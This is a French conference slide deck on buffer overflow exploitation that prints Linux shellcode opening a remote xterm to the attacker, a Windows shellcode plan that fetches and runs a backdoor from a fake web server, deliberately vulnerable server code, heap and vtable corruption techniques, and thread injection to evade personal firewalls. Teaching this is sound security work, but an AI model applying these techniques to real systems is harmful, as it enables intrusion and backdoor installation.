La présentation est en train de télécharger. S'il vous plaît, attendez

La présentation est en train de télécharger. S'il vous plaît, attendez

Démonstrations pratiques de buffer overflows

Présentations similaires


Présentation au sujet: "Démonstrations pratiques de buffer overflows"— Transcription de la présentation:

1 Démonstrations pratiques de buffer overflows
Ou la compromission d’un système par une simple erreur de programmation

2 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Introduction Buffer overflows ne sont statistiquement pas les failles les plus exploitées. Mais failles parmi les plus célèbres Célébrité vient de leur portée : En terme de compromission de la machine vulnérable En terme de propagation au sein d’un réseau Puissance des attaques virales sasser et msblast qui combinaient ces deux caractéristiques -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

3 Introduction: principe des BOFs
Les buffer overflows, un principe simple et très connu Données Donnée Adresses croissantes Zone reservée Conséquences multiples: Modification du comportement Déni de service Exécution de code arbitraire -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

4 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Objectif de l’étude Principe connu mais mécanismes rarement décortiqués Possibilités réelles ? Difficultés rencontrées ? Objectif de cette étude: Présenter des exemples concrets d’exploitation de buffer overflows pour donner un aperçu des réponses Cadre: Exploitations de cas d’écoles et non de cas réels Mais exploitations de serveurs donc distantes But: Par écrasement de zones mémoires, rediriger l’exécution vers un code injecté qui permettra l’ouverture d’un shell sur la machine distante. -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

5 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Plan Rappels: stack et heap Exploitation sous Linux Écriture d’un shellcode pour Linux Exploitation d’un Stack overflow avec shellcode before Exploitation d’un Heap Overflow Exploitation sous Windows Écriture d’un shellcode pour Windows Stack overflow sur serveur compilé Visual 6.0 (option /GZ) Stack overflow sur serveur compilé Visual .net (option /GS) Corruption de VTABLES: Les limites de l’option /GS Cas des équipements de filtrages L’injection de code: Contournement du firewall personnel Conclusion -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

6 Plan: Définitions Exemple pratique
Rappels: Stack et Heap Plan: Définitions Exemple pratique

7 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Définitions Stack et Heap Stack (pile) = Variable locale, paramètres,… Heap (tas) = Allocation dynamique d’objets (malloc, new) En mémoire Stack Heap Adresses croissantes -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

8 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Exemple pratique Code appel de fonction void myFunc(int param) { int local; int *p=new char[50]; } myFunc(10); Param Adresse retour Entête fct local p Retour: - restauration de la pile - instruction « ret » char [50] -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

9 Buffer overflow sous Linux
Plan: Écriture d’un shellcode pour Linux Exploitation d’un Stack overflow avec shellcode before Exploitation d’un Heap Overflow

10 Écriture d’un shellcode (1)
Définition « Shellcode » => Code injecté, vers lequel l’exécution est redirigé et qui effectue une opération compromettant le système (ici, ouverture de shell distant) Injection de ce code dans la mémoire du processus attaqué peut se faire de différentes manières. La plus classique: dans le buffer qui provoque le débordement. Buffer envoyé: Shellcode Redirection vers shellcode -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

11 Écriture d’un shellcode (2)
Dans notre cas: shellcode=xterm en export DISPLAY BOF Service vulnérable Attaquant xterm avec ENV: -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

12 Écriture d’un shellcode (3)
Code du shellcode (~80 bytes) jmp getaddr function: popl %ebx /* Recupere adresse de la commande */ xor %eax, %eax movb %al, 0x14(%ebx) movb %al, 0x30(%ebx) pushl %eax /* push NULL */ lea 0x15(%ebx), %ecx pushl %ecx /* variable d'env DISPLAY */ movl %esp, %edx /* tableau env dans edx */ pushl %ebx /* de la commande */ movl %esp, %ecx /* tableau dans ecx */ movb $0xb, %al int $0x80 getaddr: call function .shell_string: .string \"/usr/X11R6/bin/xtermXDISPLAY= :0.0X\" /* le X a remplacer par un 0 */ Remplace X par \0 Utilisation de int pour exécution Gestion de la relocalisation -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

13 Exemple de Stack overflow (1)
Présentation du serveur Serveur écoute sur le port 1500 Affiche la chaîne renvoyée précédée de « Message from remote client : » void printMsg(char *szBuffer) { char szMsg[MAX_MSG]; sprintf(szMsg, "Message from remote client :%s\n", szBuffer); printf(szMsg); } int main (int argc, char *argv[]) while((n = read(newSocketfd, szBuffer, MAX_MSG)) > 0) printMsg(szBuffer); MAX_MSG < strlen(Message…\n)+ MAX_MSG -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

14 Exemple de Stack overflow (2)
Principe de l’exploitation @ szBuffer @ retour ebp szMsg @ szBuffer Données @ retour ebp sprintf => Quelle est la structure des données envoyées ? -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

15 Exemple de Stack overflow (3)
Structure des données envoyées @ szBuffer Adresse retour ebp szMsg NOP SHELLCODE @ szMsg ret Taille du shellcode limitée Pas d’octets nul @ buffer inconnue -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

16 Démo stack overflow

17 Problèmes des Heap Overflow
Débordement de buffer dans des zones allouées dynamiquement possible, mais exploitabilité ? Exploitation de stack overflow facile car stack contient une zone mémoire chargée dans eip Mais ce n’est pas le cas de heap (sauf cas particuliers) => Exploitation impossible ? Illustration de la technique de la macro UNLINK décrite par Solar Designer -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

18 L’algorithme de Doug Lea (1)
Portions de mémoires allouées gérées dans des chunks chunk N+1 prev_size prev_size data free BK chunk N FD size size prev_size prev_size -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

19 L’algorithme de Doug Lea (2)
Lors de la libération: Test si chunk suivant libre Si libre, l’enlève de la liste doublement chaînée. Concatène les deux chunks Pour enlever le bloc de la liste chaînée l’algorithme utilise la macro UNLINK: #define unlink( P, BK, FD ) { \ BK = P->bk; \ [1] FD = P->fd; \ [2] FD->bk = BK; \ [3] BK->fd = FD; \ [4] } -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

20 Le débordement: principe
En cas de débordement: data data chunk N+1 Ecrasement du chunk N+1 size size prev_size prev_size sprintf data data chunk N size size prev_size prev_size -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

21 Le débordement: exploitation
Lors de l’appel à free sur chunk N, si chunk N+1 libre, appel de UNLINK #define unlink( P, BK, FD ) { \ BK = P->bk; \ [1] FD = P->fd; \ [2] FD->bk = BK; \ [3] BK->fd = FD; \ [4] } Or valeur de FD et BK contrôlé car pointeurs écrasés => Possibilité d’écriture d’un DWORD de notre choix à l’adresse de notre choix En pratique, écrasement d’une adresse de fonction dans le GOT avec l’adresse de notre buffer -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

22 Exemple de Heap Overflow (1)
Présentation du serveur Simple serveur accepte commande login, note le nom utilisateur et des infos sur la connexion. Code typedef struct { time_t connectTime; } CONNEXION; -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

23 Exemple de Heap Overflow (2)
void processData(int newSocketfd, char *szBuffer) { char *p; CONNEXION *c; if(szBuffer[0] == CMD_USER) // La commande recu est un login // Alloue un buffer de taille SZ_USERNAME et une structure CONNEXION p=(char *) malloc(SZ_USERNAME*sizeof(char)); c=(CONNEXION *) malloc(sizeof(CONNEXION)); // Rempli les structures c->connectTime=time(); sprintf(p,"%s login\n", &szBuffer[1]); // Renvoie la reponse au client if(write(newSocketfd, p, strlen(p)) < 0) error("ERROR writing to socket"); // Libere la memoire free(p); free(c); } 200 < 1500 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

24 Principe de l’exploitation
Avant sprintf prev_size size data Après sprintf prev_size size data fake p_s fake size FD BK Après free(p) prev_size size data fake p_s 0xfffffffc FD BK @ malloc @ exit @ free GOT: Appel de free(c) => saut dans shellcode -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

25 Démo heap overflow

26 Exploitation sous Windows
Plan: Écriture d’un shellcode pour Windows Stack overflow sur serveur compilé Visual 6.0 (option /GZ) Stack overflow sur serveur compilé Visual .net (option /GS) Corruption de VTABLES: Les limites de l’option /GS L’injection de code: Contournement du firewall personnel

27 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Introduction Buffer overflow sous Windows sujet moins couvert par documentation sur Internet Pourtant, Msblast ou Sasser montre l’importance et la gravité du phénomène -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

28 Écriture d’un shellcode (1)
Sous Linux, écriture de shellcode très facile: Lancement d’un programme via instruction INT 80h Programmes orientés réseau (xterm en remote display) Sous Windows: API « INT 2Eh » très limitée. Implications => Nécessité d’utiliser des API de plus haut niveaux (DLL) => Nécessité de charger les DLL => Nécessité d’accéder à certaines fonctions (LoadLibrary) => Nécessité d’avoir l’adresse de kernel32.dll Problèmes: Adresse de kernel32.dll varie d’une version à une autre Taille du code augmente considérablement -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

29 Écriture d’un shellcode (2)
Deux contraintes: Shellcode doit être capable de de kernel32.dll Shellcode doit rester de taille raisonnable Principe du shellcode Récupération de l’adresse de kernel32.dll (PEB) Récupération de l’adresse de GetProcAdress() (Parse export directory) Appel de "LoadLibrary") Appel de LoadLibrary("urlmon.dll") Appel de "URLDownloadToFile") Contact faux serveur web et télécharge BackDoor Exécute la BackDoor -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

30 Écriture d’un shellcode (3)
Principe de l’exécution du shellcode BOF Service vulnérable Attaquant Fake web server backdoor (a.exe) -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

31 Exemple de Stack Overflow
Présentation du serveur int vulnFunc(SOCKET clientSocket, char *msg) { char answer[BUFFER_SIZE]; char *p; int i; bzero(answer); p=msg; i=0; while((msg[i] != ' ') && (i<BUFFER_SIZE)) i ++; if(msg[i] != ' ') return -1; sprintf(answer, "Welcome to ghorg0re/3ey's server %s\r\n", &msg[i+1]); if(send(clientSocket, answer, strlen(answer), 0) == SOCKET_ERROR) return 0; } BUFFER_SIZE < strlen(Welcome…)+ BUFFER_SIZE -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

32 Cas de Visual 6.0: Option /GZ
Sans option /GZ Avec option /GZ push ebp mov ebp,esp sub esp,1D8h push ebx A push esi B push edi ... C lea edi,[ebp-1D8h] mov ecx,76h mov eax,0CCCCCCCCh C rep stos dword ptr [edi] pop edi A pop esi B pop ebx C mov esp,ebp E pop ebp F ret B pop edi C pop esi D pop ebx E add esp,1D8h cmp ebp,esp call __chkesp ( ) B mov esp,ebp D pop ebp E ret -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

33 Démo stack overflow

34 Cas de Visual .net: Option /GS
Header de la fonction 00411C70 push ebp 00411C71 mov ebp,esp 00411C73 sub esp,274h 00411C79 push ebx 00411C7A push esi 00411C7B push edi 00411C7C lea edi,[ebp-274h] 00411C82 mov ecx,9Dh 00411C87 mov eax,0CCCCCCCCh 00411C8C rep stos dword ptr [edi] 00411C8E mov eax,dword ptr [___security_cookie] 00411C93 mov dword ptr [ebp-4],eax i p answer security_cookie ebp @ret -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

35 Cas de Visual .net: Option /GS
Fin de la fonction 00411D53 push edx 00411D54 mov ecx,ebp 00411D56 push eax 00411D57 lea edx,ds:[411D80h] 00411D5D call (4111B3h) 00411D62 pop eax 00411D63 pop edx 00411D64 mov ecx,dword ptr [ebp-4] 00411D67 call (411091h) 00411D6C pop edi 00411D6D pop esi 00411D6E pop ebx 00411D6F add esp,274h 00411D75 cmp ebp,esp 00411D77 call @ILT+995(__RTC_CheckEsp) (4113E8h) 00411D7C mov esp,ebp 00411D7E pop ebp 00411D7F ret -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

36 Démo stack overflow

37 Rappel sur les VTABLES (1)
Exemple de statique code Déclaration Appel class Message { private: int iType; public: void setiType(int value); }; void Message::setiType(int value) iType = value; } Message message; Message message2; message.setiType(0); 00411E2E push 00411E30 lea ecx,[message] 00411E36 call Message::setiType (411569h) message2.setiType(0); 00411E3B push 00411E3D lea ecx,[message2] 00411E43 call Message::setiType (411569h) => Génération de code statique pour l‘appel -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

38 Rappel sur les VTABLES (2)
Limites de la compilation statique => Utilise les fonctions virtuelles résolues à l’exécution En mémoire Membres @ Func 3 Objet @ Func 2 Pointeur table virtuelle @ Func 1 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

39 Rappel sur les VTABLES (3)
Exemple de code dynamique Déclaration Appel class Connexion { char szUser[SZ_USER]; char szData[SZ_DATA]; public: Connexion(void); virtual void setszUser (char *szInput); virtual char *getszUser(void); }; ; Appel de setszUser 00411E7A mov ecx,dword ptr [pConnexion] 00411E7D mov edx,dword ptr [ecx] 00411E82 call dword ptr [edx] ; Appel de getszUser 00411E82 call dword ptr [edx+4] -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

40 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Conséquences Le Heap contient ici un pointeur vers une table de fonctions => Redirection du flux d’exécution possible @ table virtuelle szBuffer int a int b sprintf Objet 1 Objet 2 Avantage: Redirection se fait lors appel à une fonction membre de l’objet 2 => Avant toutes vérifications Inconvénient: On écrase un pointeur d’adresses -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

41 Exemple de Heap Overflow (1)
Code du serveur class Connexion { char szUser[SZ_USER]; char szData[SZ_DATA]; public: Connexion(void) {bzero(szData);bzero(szUser);}; virtual void setszUser(char *szInput){sprintf(szUser, "USER=%s", szInput);}; virtual char *getszUser(void){return szUser;}; virtual void setszData(char *szInput){sprintf(szData, "DATA=%s", szInput);}; virtual char *getszData(void){return szData;}; }; class LogData virtual void logszData (char *szData) {printf("[TRACE] %s\n", szData);}; -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

42 Exemple de Heap Overflow (2)
Code du serveur int processData(SOCKET clientSocket, Connexion *pConnexion, LogData *pLogData, char *szData) { char msgToLog[SZ_LOG]; if(szData[0] == CODE_USER) pConnexion->setszUser(&szData[1]); sprintf(msgToLog, "Login user: %s",pConnexion->getszUser()); if(send(clientSocket, MSG_USER, strlen(MSG_USER), 0) == SOCKET_ERROR) return -1; } else if(szData[0] == CODE_DATA) pConnexion->setszData(&szData[1]); sprintf(msgToLog, "Data sent: %s",pConnexion->getszData()); if(send(clientSocket, MSG_DATA, strlen(MSG_DATA), 0) == SOCKET_ERROR) pLogData->logszData(msgToLog); return 0; -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

43 Exemple de Heap Overflow (3)
En mémoire: pLogData SHELLCODE @ table virtuelle szData pConnexion szUser @szData @ table virtuelle Exploitation en deux temps: Envoi d’un faux user pour Ecrasement de la VTABLES de pLogData -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

44 Démo heap overflow

45 Conclusion partie Windows
Étude montre les difficultés d’écriture de shellcode sous Windows Mais l’exploitation de cas d’école reste aisée L’option /GS permet d’éviter l’exploitation de stack overflow simples, mais n’est pas une protection inviolable -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

46 Contournement des équipements de filtrages
Plan: Concepts La protection par FW personnel

47 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Concepts (1) Exemples précédents ne présentent pas le problème de la communication entre attaquant – backdoor Cas de Linux: FireWall Attaquant Serveur X Serveur vulnérable xterm avec ENV: -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

48 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Concepts (2) Cas de Windows Proxy + Authent BOF Service vulnérable Attaquant Fake web server => Il faut savoir adapter le shellcode à l’architecture du réseau ciblé. A priori, si serveur autorisé connecté à Internet, contournement sera toujours possible -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

49 La protection par FW personnel
Concept: FW personnel Application filtrant le trafic entrant et sortant d’une machine Gère le contrôle d’accès via le concept d’applications: Deux modes sont distingués: client ou serveur Pour chaque mode, une application peut soit être autorisée, soit interdite, soit inconnue. Une application inconnue de peut pas accéder à Internet => Détection de notrebackdoor Calcul de checksum empêche simple remplacement => Le FW personnel est-il la solution miracle anti-backdoor ? -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

50 Contournement du FW personnel (1)
Problème est que la gestion des accès se fait au niveau processus et non au niveau du thread Or Windows offre la possibilité de créer des threads dans une application distante Technique qui devient très courante. Utilise les fonctions: VirtualAllocEx WriteProcessMemory CreateRemoteThread -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

51 Contournement du FW personnel (2)
Principe du contournement: Téléchargement de la backdoor (a.exe) et exécution La backdoor ouvre le processus serveur et injecte du code La backdoor créé un thread executant le code injecté dans le processus serveur Le code injecté ouvre une socket en mode serveur, opération permise par le FW car le processus serveur est autorisée à ouvrir ce type de socket Problèmes rencontrés: Code injecté doit être relocalisable, retrouver adresse des fonctions,… Même techniques que pour le shellcode Le processus serveur ne doit pas planter => Retour à l’exécution normale ou utilisation d’un Sleep -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

52 Démo heap overflow / FW

53 Conclusion générale

54 -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-
Conclusion générale Étude présente des cas concrets d’exploitation Lorsqu’il y a débordement de buffer, les possibilités d’exploitations sont multiples Il existe de très nombreuses protections opérants à des niveaux différents : Au niveau du réseau, les équipements de filtrage. Au niveau système, les protections comme chroot ou la gestion des droits de l’utilisateur d’exécution du serveur. Au niveau logiciel, les protections comme l’option /GS ou des produits comme StackGuard Ideal = Défense en profondeur LA solution reste l’écriture de code sécurisé: Évitez les fonctions dangereuses (sprintf,strcpy,memcpy,…) Faites attention aux erreurs off-by-one Vérifiez les boucles qui remplissent des tableaux Utilisez les types managés sous Windows Ne JAMAIS se fier aux données envoyées par l’utilisateur -= Ghorg0re/3ey : Démonstrations pratiques de buffer overflows =-

55 Questions / Remarques


Télécharger ppt "Démonstrations pratiques de buffer overflows"

Présentations similaires


Annonces Google